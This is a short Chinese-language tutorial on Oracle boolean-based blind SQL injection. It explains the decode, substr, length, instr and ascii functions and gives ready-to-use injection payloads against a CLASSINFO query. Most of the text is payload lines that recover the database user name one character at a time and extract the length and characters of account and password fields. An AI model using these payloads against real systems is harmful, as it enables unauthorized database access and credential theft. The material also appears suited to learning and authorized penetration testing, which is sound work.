decode 函数布尔盲注
说明
decode(expression,value,result1,result2)
如果expression=value,则输出result1,否则输出result2
数据库语句:
select * FROM CLASSINFO WHERE CLASSID=88 and 1=(select decode(user,’SYSTEM’,1,0) from dual)
当1=(select decode(user,’SYSTEM’,1,0) from dual) 查询出来当前数据库用户,如果是SYSTEM返回1如果不是返回0
然后对比1=1或者1=0,通过and来让页面产生错误或正常进行判断。
substr()函数
说明
substr(string string, int a, int b);
1、string 需要截取的字符串
2、a 截取字符串的开始位置(注:当a等于0或1时,都是从第一位开始截取)
3、b 要截取的字符串的长度
select * FROM CLASSINFO where CLASSID=88 and 1=(select decode(substr((select SUBSTR((select user from dual),1,1) from dual),1,1),’S’,1,0) from dual)
通过查询user截取从第一位开始,长度为一的字符,然后通过decode来判断,如果是则返回1,如果不是则返回0,这样来控制页面是否正常
当前用户第一个字母的是否等于S 等于返回1否则返回0
(select decode(substr(user,1,1),’S’,1,0) from dual) -
(select decode(substr(user,2,1),’Y’,1,0) from dual) -
(select decode(substr(user,3,1),’S’,1,0) from dual) -
(select decode(substr(user,4,1),’T’,1,0) from dual) -
(select decode(substr(user,5,1),’E’,1,0) from dual) -
(select decode(substr(user,6,1),’M’,1,0) from dual) -
length()函数长度 (可取账号密码长度)
说明
通过此函数可返回结果的长度
select FROM CLASSINFO WHERE CLASSID=88 and 6=(select length(CLASSID||CLASSNAME) from CLASSINFO WHERE ROWNUM=1)
*利用length来取出账号密码一共的长度
instr()函数
说明
从一个字符串中查找指定子串的位置。
and 1=(instr((select user from dual),’SYS’))
ascii()
说明
and (select ascii(substr(CLASSID,1,1)) from CLASSINFO where ROWNUM=1)=50
